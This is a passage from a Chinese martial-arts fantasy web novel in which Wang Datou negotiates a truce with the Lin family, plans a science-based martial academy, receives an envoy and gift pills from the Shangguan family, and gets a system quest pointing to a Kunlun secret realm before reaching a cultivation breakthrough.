林文渊推了推眼镜,笑容不变:“王龙头是爽快人。那我也就开门见山了。之前我林家与龙门之间,或许存在一些……误会和摩擦,导致了一些不愉快的事情发生。”
他将林煞两次被打成重伤,林家颜面扫地的事情,轻描淡写地归结为“误会”和“不愉快”,这份“涵养”让一旁作陪的赵师傅都微微挑了挑眉。
“经过家族内部慎重讨论,我们认为,继续这样争斗下去,对双方都没有好处,只会让亲者痛,仇者快。”
林文渊继续道,“尤其是,如今龙门在王龙头的带领下,已然成了气候,更是得到了……某些方面的认可(他意有所指地看了一眼窗外)。我们林家,也愿意承认这个现实。”
他顿了顿,说出了此行的核心目的:“因此,我们林家提议,我们两家,不如‘划界而治’。”
“哦?如何划界?”
王大头不动声色。
“很简单。”
林文渊道,“以滨海市目前的行政区划为界,龙门的活动范围,我们林家认可并予以尊重,绝不会再主动进入滨海市范围对龙门进行任何形式的挑衅与攻击。相应的,我们希望,龙门的发展,也仅限于滨海市之内,不要再向外扩张,尤其是,不要触及我林家在其他地区的核心利益。”
他身体微微前倾,语气带着一丝循循善诱:“如此一来,两家相安无事,井水不犯河水。龙门可以安心发展,我们林家也能保住颜面。这对我们双方,都是最好的选择。不知王龙头意下如何?”
办公室内陷入短暂的沉默。
张猛和雷烈站在王大头身后,眉头紧锁,显然对这突如其来的“和平提议”充满怀疑。
李雅也面露忧色。
赵师傅则半闭着眼睛,仿佛老僧入定。
王大头手指轻轻敲击着桌面,大脑飞速分析着林家的意图。
认怂?
不可能。
百年林家的骄傲,绝不会因为两次失利就彻底放下身段。
拖延时间?
很有可能。
林煞重伤需要恢复,调查自己的底细需要时间,或许林家内部还在进行权力博弈或准备其他手段。
麻痹大意?
示敌以弱,让自己放松警惕,然后伺机发动致命一击?
这也是惯用伎俩。
又或者,他们真的认为剿灭龙门的代价太高,转而寻求一种“共存”,将龙门限制在滨海一隅,防止其真正成长为威胁到林家根基的庞然大物?
无论哪种可能,这份“妥协”都绝非真心实意。
但表面上,这确实给龙门带来了一个难得的、不受干扰的发展期。
拒绝?
那就意味着立刻撕破脸,龙门将再次面临林家的全面压力,即便现在有官方默许,也绝非好事。
接受?
则必须警惕林
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家背后的算计,同时也要考虑龙门未来发展的空间问题。
局限于滨海市,绝非王大头的终极目标。
思虑片刻,王大头抬起头,看向林文渊,脸上也露出一个淡淡的、看不出喜怒的笑容:
“林长老的提议,听起来似乎不错。和平发展,确实是大家都愿意看到的。”
林文渊眼中闪过一丝不易察觉的得意,以为王大头年轻,被这“和平”的幌子迷惑了。
然而,王大头话锋一转:“不过,‘划界而治’可以,但‘不得扩张’这一条,请恕我不能完全同意。龙门并非我王大头一人之龙门,旗下众多兄弟也要吃饭,要发展。我们可以承诺,短期内不会主动进入林家明确的核心利益区域进行挑衅,但正常的商业拓展,以及弟子个人的游历修行,总不能也限制在滨海这一亩三分地吧?这,不合规矩。”
他语气平和,却带着不容置疑的坚定,直接将林家试图限制龙门发展的条款顶了回去。
林文渊脸上的笑容微微一僵,随即恢复自然:“王龙头说的是,是在下考虑不周。只要龙门不主动侵犯我林家核心利益,正常的商业与个人行为,我们自然无权干涉。”
他心中暗骂王大头狡猾,表面上却只能退让一步。
毕竟,今天来的主要目的是稳住龙门,而非再次激化矛盾。
“既然如此,那我们就此达成口头约定?”林文渊试探道。
“可以。”
王大头点头,“希望林家,能信守承诺。”
“那是自然。”
林文渊站起身,彬彬有礼地告辞,“希望我们两家,能从此和平共处。告辞。”
送走林文渊,办公室内的气氛并未轻松多少。
“大头,林家这明显是缓兵之计!”张猛忍不住说道。
“我知道。”
王大头走到窗边,看着林文渊乘坐的轿车驶离,目光深邃,“他们怕了,但不是怕我们龙门,而是怕剿灭我们需要付出的代价,以及可能带来的变数。这份‘和平’,是建立在我们拥有足够实力的基础上的。”
第86章:王大头的野望
他转过身,眼中闪烁着睿智的光芒:“但这同样是我们的机会!利用这段相对和平的时间,疯狂提升实力!夯实根基!等到我们足够强大时,所谓的‘界限’,将由我们来划定!”
他明白,这暂时的和平,源于实力。
而要想将这和平长久维持下去,或者按照自己的意愿打破它,需要的是……更强大的实力!
林家出乎意料的“妥协”,提出划界而治。
王大头看穿这只是暂时的和平,源于龙门展现出的实力让林家投鼠忌器。
他决定利用这宝贵的喘息之机,加速提升,以待将来。
林家看似“妥协”带来的短暂和平,并未让王大头有丝毫松懈,反而像是一针清醒剂,让他更深刻地认识到力量才是根本。
局限于滨海一隅,靠着别人的“施舍”过活,绝非他创立龙门的初衷。
夜色深沉,总部顶层的办公室灯火通明。
王大头没有像往常一样修炼或处理公务,而是站在那面巨大的落地窗前,目光似乎穿透了城市的灯火,投向了更遥远、更广阔的天地。
他的手中,无意识地摩挲着赵师傅赠与的那块流云令。
令牌温润的触感,仿佛连接着一段尘封的历史,一种即将失传的武道精神。
这让他更加坚定了内心的某个想法。
传功阁和贡献制度,解决了龙门内部资源分配和激励的问题,让现有弟子有了明确的上升通道。
但这还不够,远远不够。
龙门的根基,依然薄弱。
弟子来源复杂,良莠不齐,培养体系更多依赖于传统的师徒相授和实战磨砺,缺乏系统性和普适性。
更重要的是,现有的武道传承,大多敝帚自珍,讲究根骨、机缘,将无数有潜力却无门路的人挡在了门外,导致了武道的逐渐式微。
而他的经历,以及他所拥有的知识体系,或许能走出一条不一样的路。
“传统的武道,太依赖个人天赋和机缘了。”
王大头低声自语,眼神越来越亮,“为什么不能像现代科学教育一样,将武道的原理拆解、量化,让更多人能够理解、学习、乃至创新?”
他想到了自己用流体力学优化内力运行,用动力学分析招式破绽,用星辰观想法辅助炼丹……
这些成功的尝试,都证明了科学与武道结合的巨大潜力。
“龙门,不应该只是一个强大的地下势力,或者一个商业集团。”
一个越来越清晰的、宏伟的蓝图,在他脑海中逐渐勾勒成型,“它应该成为一个……摇篮!一个孕育新武道,培养新时代武者的摇篮!”
他猛地转身,走到办公桌前,铺开一张巨大的白纸,拿起笔,开始飞快地勾勒起来。
他要建立的,不是一个简单的武馆,也不是传统意义上的门派。
而是一座学院!
一座融合了现代科学教育理念与古老武道传承的——龙门学院!
在他的构想中,这座学院将包含:
基础理论院:并非直接传授高深内力,而是从人体力学、生物学、能量学(以内力为切入点)等基础科学角度,解析武道原理,打破玄学迷雾,让学员真正理解“力量”从何而来,为何如此运转。这将是所有学员的必修课!
武技实践院:分门别类教授各种武学招式,但教学方式将革新。不再是模糊的“意会”,而是结合影像分析、数据监测、发力模型,让学员清晰看到每一招的力量传导、速度变化、最佳发力点。甚至可以利用虚拟现实技术进行模拟对战!
丹药资源院:不仅教授丹药知识,更要深入研究药理学,结合现代萃取、提纯技术,优化丹方,尝试工业化(或至少是标准化)生产低阶丹药,降低武者修炼的门槛。
战阵协作院:研究团队配合作战,将现代军事战术与武者能力结合,开发出适合不同规模、不同实力层次的战阵,最大化团队战斗力。
武道研究院:这是核心中的核心!负责推陈出新,基于科学理论和大量实践数据,优化乃至创造新的**和武技!这里将汇聚最具智慧和创新精神的武道人
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才。
生源,将面向全社会!
不再局限于有“根骨”的幸运儿,而是通过科学的测评体系,发掘那些可能在传统眼光中被埋没,但具备逻辑思维、意志坚韧、身体协调性等潜在优势的人才!
无论是寒门子弟,还是普通学生,只要通过考核,都有机会踏入武道之门!
学院的导师,不仅包括龙门现有的高手(如赵师傅、张猛、雷烈等),还可以高薪聘请那些不得志、但确有真才实学的传统武者,甚至吸引一些对“科学武道”感兴趣的科研人员!
这无疑是一个石破天惊、颠覆传统的构想!
一旦成功,它将彻底改变华夏乃至世界武道的格局!
它将打破世家、门派对武道资源的垄断,为无数普通人打开一扇通往超凡的大门!
而龙门,将成为这扇大门的开启者和守护者,其地位和影响力,将超越任何一个单纯的武力组织!
这其中蕴含的阻力可想而知。
传统的古武势力绝不会坐视,他们会认为这是对武道“神圣性”的亵渎,是对他们地位的挑战。
资源、人才、技术……方方面面都将面临巨大的困难。
但王大头的眼神却无比坚定。
“林家?他们看到的只是滨海市的利益,只是眼前的胜负。”
他放下笔,看着纸上那粗略却充满无限可能的框架,胸中豪情激荡,“而我,要看到的是未来!一个属于所有人,也由龙门引领的武道未来!”
他知道这条路很难,但他必须走。
这不仅是为了龙门的长远发展,更是为了践行“自强不息”的龙门精神,也是为了……不负赵师傅的托付,让流云宗乃至更多可能失传的武道智慧,能以新的形式,在这座学院里传承下去,发扬光大。
一个宏伟的、足以改变时代的蓝图,已然在他心中彻底展开。
一个融合科学与武道,旨在打破垄断、培养新时代武者的“龙门学院”宏伟蓝图,在王大头心中清晰展开,展现了他超越眼前纷争的远大野望。
第87章:学院构想,众人响应
翌日,龙门最高级别的核心会议在总部密室召开。
参会者仅有王大头、赵师傅、李雅、张猛、雷烈五人。
密室气氛肃穆,隔绝了外界一切干扰。
王大头没有过多铺垫,直接将昨夜勾勒的“龙门学院”构想蓝图,清晰而富有感染力地向四人阐述了一遍。
他从当前龙门培养体系的弊端,谈到传统武道的局限,再到科学武道的巨大潜力,最后详细描绘了学院五大分院的架构、招生理念以及长远意义。
随着他的讲述,密室内的呼吸声都变得粗重起来。
张猛瞪大了眼睛,嘴巴微张,一副听天书般的表情。
他脑子里还是拳头、刀剑、硬碰硬的观念,什么基础理论、数据监测、虚拟对战……这些东西完全超出了他的理解范围。
但他能感觉到,大头哥说的东西,很厉害,非常厉害!
雷烈也是满脸震撼,他比张猛多想了一层。
如果真能像龙头说的那样,用科学方法批量培养武者,那未来龙门会强大到什么地步?
他简直不敢想象!
这比多打败几个林家长老还要让人激动!
李雅的美眸中则是异彩连连。
她第一时间就从商业和战略角度看到了这构想无与伦比的价值!
这不仅仅是培养打手,这是在打造一个可持续发展的、拥有核心知识产权的“人才和生产”体系!
一旦成功,龙门将不再仅仅是一个武力组织或商业集团,而是一个能够定义行业标准、引领时代潮流的“平台”!
其带来的隐性收益和影响力,无可估量!
而赵师傅,从一开始的微微蹙眉,到后来的凝神静听,再到最后,他那双浑浊的老眼中迸发出前所未有的精光!
他放在膝盖上的手,甚至因为激动而微微颤抖。
作为传统武者,他最初本能地对这种“离经叛道”的想法有所抵触。
武道,难道不该是心领神会,师法自然吗?
用那些冰冷的仪器和数据来解析,岂不是失去了武道的“神韵”?
但当他听到王大头提到,可以用科学理论优化内力运行,让更多资质普通的人也能踏入武道门槛;听到可以将那些濒临失传的武学技巧,用数据模型保存、分析、乃至优化传承下去时,他心中的壁垒被瞬间击碎了!
这……这不正是他梦寐以求的,光大武道,让更多人有能力守护自身和所珍视之物的道路吗?
流云宗的传承,如果能在这样的学院里,被无数人学习、研究、发扬,又何尝不是一种最好的延续?
这远比固步自封、最终湮灭于历史长河要好上千百倍!
“砰!”
张猛猛地一拍桌子,激动地站起来,脸红脖子粗地吼道:“干!大头哥!这主意太**牛了!要是真能成,咱们龙门以后还不是要多少高手有多少高手?想想都带劲!我老张第一个支持!谁反对我捶死谁!”
他挥舞着拳头,兴奋之情溢于言表。
雷烈也重重点头,声音洪亮:“龙头,此法若成,龙门根基将稳如泰山!我雷烈和兄弟们,绝对全力支持!”
李雅深吸一口气,压下心中的激动,恢复了她商业女皇的冷静:“大头,这个构想……非常伟大。但我必须提醒,实施起来难度极大。资金将是天文数字,选址、建设、设备采购、师资引进……每一项都是巨大挑战。而且,这会触动整个传统古武界的神经,我们面临的阻力,可能比面对林家还要大得多。”
她顿了顿,看向王大头,眼神坚定:“但是,我支持你!无论多难,我都会想办法筹措资金,规划商业模型,让学院能够可持续发展下去!”
最后,所有人的目光都集中在了尚未表态的赵师傅身上。
他的态度,至关重要。
赵师傅缓缓站起身,目光扫过众人,最后定格在王大头脸上,他的声音带着一丝沙哑,却无比清晰和坚定:
“老夫……活了这么多年,守
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着故纸堆,以为武道之路已渐狭窄。今日听你一席话,方知是自己坐井观天,思想僵化了!”
他走到王大头面前,用力拍了拍他的肩膀,眼中满是欣慰和激赏:“打破门户之见,融汇科学之理,普惠天下有志者!此乃大胸怀,大智慧,大功德!这已非简单的宗门传承,而是……为天下武者开新路!”
“我赵山河,代表流云宗,全力支持龙门学院之建立!老夫虽年迈,愿将毕生所学,倾囊相授于学院!并愿担任学院第一任‘武道研究院’院长,为这新武道之路,贡献残躯之力!”
赵师傅的鼎力支持,如同给众人注入了一剂强心针!
“好!”
王大头心中一块大石落地,豪气顿生,“既然大家一致通过,那此事,便定为龙门未来五年,不,是未来十年的核心战略!”
他当即部署:
“李雅,由你牵头,成立‘学院筹备委员会’,立刻开始进行初步的资金预算、商业模式论证和潜在风险分析。”
“赵师傅,请您开始整理流云宗以及您所知的各类武学知识,思考如何将其‘标准化’、‘理论化’,为编写教材做准备。”
“张猛,雷烈!你们负责在现有弟子中,筛选出具备一定文化基础、思维灵活、对新鲜事物接受度高的苗子,作为未来学院的第一批助教或试点学员进行培养!”
“选址工作,立刻秘密启动!要求地点隐蔽,空间广阔,交通相对便利,同时便于布防。”
一道道指令清晰明确地发出,整个龙门最核心的力量开始为了一个共同的目标高效运转起来。
一个旨在改变未来武道格局的宏伟计划,就在这间密室里,悄然按下了启动键。
前路必然布满荆棘,但龙门上下,已然众志成城。
龙门核心层全票通过学院构想,筹备工作秘密启动。
一个旨在打破传统、开创武道新纪元的计划,开始进入实施阶段,未来的波澜已可预见。
第88章:上官家的使者
龙门学院的前期筹备工作正在李雅的高效组织下秘密而有序地推进。
王大头则在继续巩固自身修为之余,开始研读《流云叠浪掌》的精要,并尝试将其中“内力如云,掌力叠浪”的奥义与自己的科学武道理念相结合。
就在这个忙碌而平静的下午,一位不速之客的到来,打破了龙门总部的日常节奏。
来访者是一位看起来三十岁左右的男子,身穿剪裁得体的浅灰色中山装,面容俊朗,气质温润,嘴角噙着一丝若有若无的笑意。
他身后只跟着一名沉默寡言、气息沉稳的老仆。
两人站在龙门总部大堂,既无倨傲之色,也无半分怯场,仿佛只是来拜访一位寻常朋友。
接到通报的王大头心中微动。
他并未预约,但门口执勤的弟子汇报,此人出示了一枚刻有古朴“上官”二字的玉牌后,便直接被请了进来——这是赵师傅早前特意交代过的识别标志。
“上官家……”
王大头眼中闪过一丝精光。这是雄踞江南数省,实力底蕴比之林家犹有过之而无不及的顶尖古武世家。
其家族历史可追溯至唐宋,门风相对开明,在古武界声誉不错,但也素来低调,很少主动介入地方纷争。
他们此时来访,意欲何为?
会面被安排在总部一间雅致的茶室。
赵师傅得知消息后也特意赶来作陪,显然对上官家颇为重视。
“王大龙头,赵老先生,冒昧来访,还请见谅。”
中山装男子拱手行礼,姿态优雅得体,声音清朗,“在下上官明,奉家族之命,特来拜会。”
“上官先生客气,请坐。”
王大头还礼,目光平静地打量着对方。
这个上官明气息内敛,以他如今的感知,竟也有些看不透深浅,至少也是化劲层次,而且恐怕比林煞那种依靠阴毒**晋升的化劲要扎实得多。
其身后的老仆更是如古井深潭,气息几乎与周围环境融为一体,绝对是个高手。
赵师傅微微颔首,算是打过招呼,目光在上官明脸上停留片刻,闪过一丝追忆,随即恢复古井无波。
分宾主落座,李雅亲自奉上香茗后安静地坐在王大头侧后方。
张猛和雷烈则侍立门外,保持着警惕。
“上官家远在金陵,不知上官先生此番莅临我龙门这滨海小地,有何指教?”王大头开门见山。
上官明微微一笑,端起茶杯轻嗅茶香,动作赏心悦目:“指教不敢当。实在是王龙头近段时间声名鹊起,以草根之身,连抗林家锋锐,更在正面交锋中两度挫败其化劲长老,此等壮举,在我华夏古武界近几十年都堪称罕见。家族中诸位长辈闻之,亦颇为赞叹,特命在下前来结识一番,表达我上官家的欣赏之意。”
这话说得漂亮,但王大头自然不会全信。
古武世家最重利益和传承,单纯的欣赏不足以让上官家主动派核心子弟前来。
“上官家谬赞了。王某不过是侥幸求生,些许微末伎俩,不足挂齿。”王大头谦虚道,静待下文。
上官明放下茶杯,笑容不变,眼神却稍微认真了一些:“王龙头过谦了。能两次重创林煞,绝非侥幸。林家‘玄冥煞掌’阴毒霸道,更有侵蚀内力根基之效,等闲化劲都不愿硬接。王龙头能破之,必有非凡手段。”
他顿了顿,话锋似不经意地一转:“说起来,林家近年来行事,是越发有些急功近利,不守规矩了。不仅在国内四处扩张,打压异己,甚至……听说与境外某些不**稳的势力,也走得过于近了些。家族中对此,是有些看法的。”
王大头和赵师傅闻言,心中同时一凛!
这话看似闲聊,实则信息量巨大!
上官明这是在隐晦地提醒,甚至可以说是暗示:林家可能勾结了境外势力!
这无疑是一个极其严重的指控,也解释了为何林家近年来行事越发霸道,资源似乎也异常充沛。
“哦?竟有此事?”
王大头面露“惊讶”,心中却飞快盘算。
张力之前也曾提过省城有境外资金暗流,与林家有关。
如今连上官家都如此说,恐怕确有其事。这对龙门而言,既是更大的危机,或许……也是一个机会?
“江湖传闻,未必尽信。不过,”
上官明看着王大头,意味深长地说,“对于守规矩、有潜力、心性正的盟友,我们上官家向来是乐于结交,并在其遇到‘不守规矩’的麻烦时,酌情提供一些便利的。”
盟友!他终于点明了来意!
上官家看中了龙门的潜力和王大头展现出的实力与心性,更因为对林家近年作风的不满乃至警惕,想要拉拢龙门,至少是建立一种友好关系,共同制衡甚至对抗林家!
这是一个巨大的机遇!
如果能得到上官家这种级别的古武世家支持,哪怕只是隐性的支持,龙门面对林家的压力将大大减轻,未来发展空间也会广阔得多。
但同样,这也意味着龙门将更深地卷入顶级世家的博弈之中,福祸难料。
“上官家的友谊,龙门自然珍视。”
王大头谨慎地回应,“只是不知,这份‘便利’,具体如何体现?而我龙门,又需要付出什么?”天下没有免费的午餐,他必须问
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清楚。
上官明似乎很满意王大头的清醒,笑道:“王龙头快人快语。目前阶段,我们需要的,只是龙门继续在滨海,乃至周边地区,保持‘存在’和‘发展’。这本身,就是对某些不安分势力的一种牵制。至于便利嘛……”
他看了一眼旁边的老仆。
老仆默默从怀中取出一个巴掌大小的玉盒,放在桌上,然后退后。
上官明打开玉盒,里面是三枚龙眼大小、呈淡青色、表面有云纹流转的丹丸,一股清新怡人、沁人心脾的药香顿时弥漫开来,让人精神一振。
“此乃我上官家秘制的【清心玉露丹】,对于稳固心神、辅助感悟、祛除内邪、治疗内伤颇有奇效,尤其对化解阴寒、毒煞类内力侵蚀,效果更佳。”
上官明将玉盒推向王大头,“区区薄礼,权当见面礼,或许对王龙头调理之前与林煞交手留下的些许暗伤,有所助益。”
王大头眼神一凝。
这丹药绝非凡品!
药香之纯正,远非他现在炼制的【强身丸】可比。
上官家此举,不仅是示好,更是一种实力的展示。
而且,对方似乎很清楚他与林煞交手的内情,连他可能被玄冥煞气留下暗伤都考虑到了,情报工作相当了得。
“另外,”
上官明继续道,“听闻王龙头对丹道亦有兴趣?我上官家藏书楼中,倒也收藏了一些前人的炼丹心得与残方,若王龙头有暇,他日可来金陵做客,或可交流一二。”
这又是一个极具诱惑力的筹码!
上官家显然对他的情报掌握得很详细。
“上官先生厚礼,王某愧领了。”
王大头沉吟片刻,郑重收下玉盒,“上官家的善意,龙门铭记于心。他日若有所成,必不忘今日之情。至于做客金陵,待滨海局势稍稳,王某定当登门拜访,向前辈们请教。”
他没有立刻承诺什么,但接受了礼物,表达了善意和未来的访问意向,这已经是一个积极的信号。
上官明似乎也达到了初步目的,笑容更真诚了几分:“如此甚好。那我便不多叨扰了。王龙头,赵老先生,后会有期。”
起身告辞时,他仿佛忽然想起什么,状似随意地说道:“对了,近期古武界颇不平静,听说西北之地似有异动,可能与某些上古传说有关。王龙头若有兴趣,不妨多关注一下。告辞。”
说完,他便带着老仆飘然而去,来得从容,去得潇洒。
茶室内,王大头、赵师傅、李雅三人面色凝重。
“上官明……应该是上官家这一代重点培养的子弟之一,修为心智皆属上乘。”
第89章:上古遗迹的传闻
赵师傅缓缓开口,“他亲自前来,还带了‘清心玉露丹’这等厚礼,上官家对龙门,或者说对你,确实颇为看重。他们与林家素有旧怨,近年来林家扩张也触及了上官家的利益,拉拢我们,是步好棋。”
“但我们也成了他们制衡林家的棋子。”李雅补充道,眉头微蹙。
“互惠互利罢了。”
王大头摩挲着盛放丹药的玉盒,目光深邃,“现阶段,我们需要上官家这样的盟友来分担压力。至于以后……谁是谁的棋子,还说不定。至少,他们带来的关于林家勾结境外势力的消息,非常重要。”
他将上官明最后那句看似随意的话记在心里。
“西北异动?上古传说?”
这让他心中一动,隐约觉得,这个世界,似乎比他想象的还要广阔和神秘。
新的盟友和更广阔的舞台,似乎正在向龙门招手,但脚下的路,也注定更加波澜云诡。
上官明来访带来的信息冲击,让王大头连续几天都在反复思量。
林家与境外势力可能存在的勾结,如同悬在头顶的达摩克利斯之剑;而上官家递出的橄榄枝,既是机遇也隐藏着风险。
他服用了一颗【清心玉露丹】,丹药入腹即化,化为一股清凉温润的气流散入四肢百骸,不仅体内因驱除玄冥煞气而残留的一丝隐痛晦涩之感彻底消失,连精神都感到一阵前所未有的清明舒畅,对《星辰观想法》的感悟似乎都清晰了一丝。
上官家的炼丹之术,果然名不虚传。
这更坚定了他发展自身炼丹术和建立学院的决心。
依靠外人,终非长久之计。
就在他消化丹药,继续钻研《流云叠浪掌》,并尝试将一丝“叠浪”意境融入自身内力运转时,沉寂许久的系统提示音,突然以一种不同以往的方式,在他脑海中响起:
“检测到宿主接触高等能量残留(清心玉露丹药力),触发环境信息扫描……”
“信息碎片整理中……”
“关键词匹配:上古传说,西北异动,能量潮汐……”
“关联任务触发:【探寻失落之地】”
“任务说明:遥远之地,古老封印正在松动,失落的空间重现征兆。那里可能遗留着远古武道文明的碎片,是危机,亦是超越凡俗的机缘。”
“任务提示:关注‘昆仑’、‘墟界’、‘秘境’等关键词。”
“任务奖励:视探索深度与收获而定,可能包含特殊传承、稀有材料、秘境信物等。”
系统的提示比以往任何一次都要模糊,但也更加震撼!
“上古武道文明”、“失落的空间”、“超越凡俗的机缘”……这些词汇组合在一起,指向了一个王大头此前从未深入了解,却隐约听闻过的领域——上古遗迹,或者说,秘境!
他立刻联想到了上官明临走时那句看似随意的提醒:“西北之地似有异动,可能与某些上古传说有关。”
西北,昆仑!
难道系统提示的“失落之地”,就是传说中的昆仑秘境?
他强压心中的激动,立刻找来赵师傅,并将系统提示的部分内容(隐去系统本身,只说通过特殊渠道感知)和上官明的话结合起来,向赵师傅求证。
赵师傅听完,苍老的脸上也浮现出罕见的凝重和一丝向往。
“昆仑秘境……没想到,真的有迹可循了。”
赵师傅的声音有些缥缈,“那并非虚无缥缈的传说。每隔一段不确定的漫长岁月,当天地能量潮汐达到某个峰值,一些在上古时期因大战或自然变故而隐没、折叠于现实空间之外的‘秘境’、‘洞天’、‘墟界’,其入口便会有短暂的松动或显现。”
“其中,以‘昆仑墟’最为著名,也最为神秘。据说那是上古炼气士、武修乃至更早时代的大能们活跃、论道、传承之地,后来不知为何隐没。每次其入口有松动迹象,都会在古武界乃至更隐秘的圈子里,引起轩然大浪。”
赵师傅目光灼灼地看着王大头:“因为传说中,昆仑秘境内,不仅有上古遗留的**典籍、神兵利器、灵丹妙药,更存在着能让人突破生命桎梏、踏足更高境界的天地奇物和悟道机缘!对于困于化劲巅峰,苦苦寻求先天之路的武者而言,那里是唯一的希望所在!”
“突破先天……”
王大头的心跳不由自主地加快。
他如今已至化劲巅峰,虽能感觉到先天门槛,但那层屏障坚固无比,若无特殊机缘,可能需要数年甚至数十年的**工夫。
而昆仑秘境,竟然可能存在直通先天的机缘!
“师傅,这秘境入口,如何寻找?进入又有什么条件?”王大头急切地问。
赵师傅摇了摇头:“每次出现的位置、开启方式、持续时间都不固定
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,需要等待更明确的征兆,或者依靠某些古老的传承信物进行感应和定位。至于进入条件……秘境自有其规则,通常对进入者的实力、年龄甚至心性都有隐性的筛选。而且,名额有限。”
他叹了口气:“每一次秘境开启,都是一场腥风血雨。各大世家、宗门、隐修势力,乃至一些境外超凡组织,都会想尽办法争夺进入名额。以龙门现在的实力和底蕴,想要获得一个名额,难如登天。”
王大头默然。
确实,龙门在滨海算是巨头,但放到整个华夏古武界,甚至全球超凡层面,还只是个新兵。
与那些动辄传承数百上千年,底蕴深不可测的势力争夺秘境名额,无异于虎口夺食。
“不过,”
赵师傅话锋一转,眼中闪过一丝精芒,“你既然能提前得到如此清晰的警示,说明你气运非凡。而且,上官家特意提及此事,恐怕也不仅仅是为了示好。他们或许也在为秘境之事做准备,提前结好有潜力的盟友,进入秘境后或许能有照应。这倒是个机会。”
王大头点头,思路逐渐清晰。
系统发布了任务,上官家释放了信号,这说明昆仑秘境之事,恐怕已经在高层圈子里开始流传了。
留给他的时间不会太多。
“实力!必须尽快提升实力!”
王大头握紧拳头,“只有拥有足够的实力,才有资格参与这场盛宴,才有能力在秘境中争夺机缘,保护自己!”
学院计划要加速,但远水解不了近渴。
自身修为的提升是关键。
除了苦修,或许可以尝试炼制更高级的丹药?
或者……探索一下流云宗令牌是否还有其他秘密?
上官家邀请交流丹道,也是一个快速提升炼丹术的途径。
他的目光,仿佛已经穿透了总部的墙壁,投向了西北方向那神秘而遥远的昆仑山脉。
那里,隐藏着超越凡俗的机遇,也必然伴随着无法想象的凶险。
但武道之途,本就是逆天而行。
机缘在前,岂能畏缩?
一个全新的、更加波澜壮阔的世界图景,正在他面前缓缓展开。
而龙门和他,必须尽快做好准备,去迎接这场即将席卷整个超凡世界的风暴。
他的目光,充满了坚定与渴望,投向了那片神秘之地。
新的征程,似乎已在脚下。
第90章:内力圆融,化劲巅峰
上官明离去后的第三天深夜,龙门总部地下丹房。
王大头盘膝坐在特制的静心蒲团上,周身气息如潮汐般规律地起伏。
他刚刚服下第二颗【清心玉露丹】——如此珍贵的丹药,他本舍不得连续服用,但泰山之战在即,罗惊涛的威胁如芒在背,他必须抓紧一切时间提升实力。
丹药入腹,熟悉的清凉温润感再次弥漫开来。
但与第一次不同,这次药力化开后,并未简单散入四肢百骸,而是仿佛有灵性般,主动朝着他经脉中几处略显晦涩、连他自己都未曾完全察觉的细微节点涌去。
“这是……”王大头心中微动,立刻凝神内视。
只见那些清凉药力如同最精密的探针,轻柔地冲刷、温养着那些节点。
这些节点大多位于奇经八脉交汇之处,或是上次与林煞交战时,被玄冥煞气侵蚀最严重、事后虽经驱除却仍留有极细微损伤的地方。
平时运转内力并无大碍,但在全力爆发或细微操控时,总会产生一丝几乎无法察觉的滞涩。
此刻,在【清心玉露丹】精纯药力的滋养下,这些暗伤般的节点以肉眼可见的速度被修复、弥合。
经脉通道变得前所未有的通畅、坚韧、富有弹性。
而更奇妙的变化,发生在丹田气海。
那一甲子(六十年)精纯的纯阳内力,原本如同一个巨大的、缓缓旋转的气态星云,中心处已有液态真元凝聚的迹象。
此刻,在丹药之力与经脉彻底通畅的双重作用下,整个内力星云的旋转速度骤然加快!
不是狂暴的加速,而是一种和谐的、韵律十足的加速。
内力流转间,原本还存在的一些细微的“棱角”和“毛刺”——那是不同时期吸收的系统奖励内力、自身修炼内力以及战斗中激发潜力的内力尚未完全阴阳交融的体现——被迅速磨平、融合。
内力变得更加圆融、精纯、凝练。
气态部分愈发缥缈灵动,而中心那液态真元的“核心”,则缓缓壮大,散发出更加强大而稳定的能量波动。
王大头福至心灵,立刻全力运转《星辰观想法》。
精神力如同无形的触手,细致入微地感知、引导着体内的每一分变化。
在他的意识海中,自身的内力系统仿佛化为了一个微缩的、完美运转的宇宙星系,每一缕内力都是一颗遵循着特定轨道运行的星辰,和谐、有序、充满力量。
他忽然明白了所谓“化劲巅峰”的真正含义。
化劲,不仅是内力离体、操控由心,更是要将自身修炼出的所有力量,无论来源如何,彻底打上自己的烙印,融会贯通,达到“混元一体,圆融无碍”的境界。
之前的他,虽有一甲子功力,却像是一个拥有巨量金银却尚未熔炼成统一货币的富户,看似富有,实则使用起来仍有隔阂。
而现在,在【清心玉露丹】这“神匠”的帮助下,所有的“金银”被彻底熔炼、提纯,变成了真正属于他王大头、如臂指使的“通宝”!
“嗡——”
体内传来一声唯有他自己能听见的、仿佛琴弦绷到极致的轻鸣。
丹田气海猛然一震,那液态真元核心骤然亮了一瞬,体积虽未明显增大,但密度和精纯度却提升了一个档次!
整个内力星云的运转轨迹也发生了微妙而优化的调整,效率更高,与肉身的契合度达到了一个全新的层次。
化劲巅峰,水到渠成!
王大头缓缓睁开双眼,眸中精光内蕴,神采湛然。
他轻轻抬起右手,心念微动,五指指尖同时冒出寸许长的凝实气芒,颜色纯白,边缘的空气微微扭曲。
这气芒不仅比之前更加凝练,操控起来也越发细腻,他甚至能让五缕气芒做出完全不同频率的震颤,仿佛在演奏无声的音乐。
“力量增长了约两成,但掌控力、持久力和爆发力,提升了一倍不止!”
王大头心中喜悦。
现在的他,如果再对上林煞,即使不动用【护身剑气】,也有把握在百招之内,凭借绝对的实力碾压取胜!
但这还不是结束。
在踏入化劲巅峰,内力圆融无碍的刹那,他的《星辰观想法》也仿佛突破了一层无形的屏障,感知变得愈发敏锐和……玄妙。
他不仅能更清晰地“看”到自身内力运转,更能模糊地感知到身体周围一小片区域内,空气中游离的某种稀薄而神秘的能量——天地灵气!
他甚至能隐约感觉到,自身圆融的内力,与这些天地灵气之间,产生了一丝微弱的、若有若无的共鸣与牵引。
“气与神合……神与天地通……”
赵师傅曾经提及的先天境界的只言片语浮现在脑海。
先天之境,便是要打破自身小天地与外界大天地的隔阂,引天地灵气入体,与自身内力(届时或许该称为真气或真元)彻底融合,发生质变,从而生命层次跃迁,寿元增长,拥有种种不可思议的神通。
他现在,便是触摸到了那道门槛!
虽然距离真正跨过去还差得远,但至少已经看到了路,感受到了那道“门”的存在!
“瓶颈……松动了。”
王大头低声自语,眼中充满了渴望与斗志。
他知道,从化劲到先天,是一道巨大的天堑,古往今来不知多少惊才绝艳之辈被困于此,直至寿元耗尽。
但他有系统,有科学武道的理念,有《星辰观想法》这样的炼神妙法,如今更有【清心玉露丹】帮他夯实了最完美的基础……他未必不能创造奇迹!
压下立刻尝试冲击的
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冲动,王大头知道现在还不是时候。
根基虽稳,但积累和感悟或许还差一丝火候。
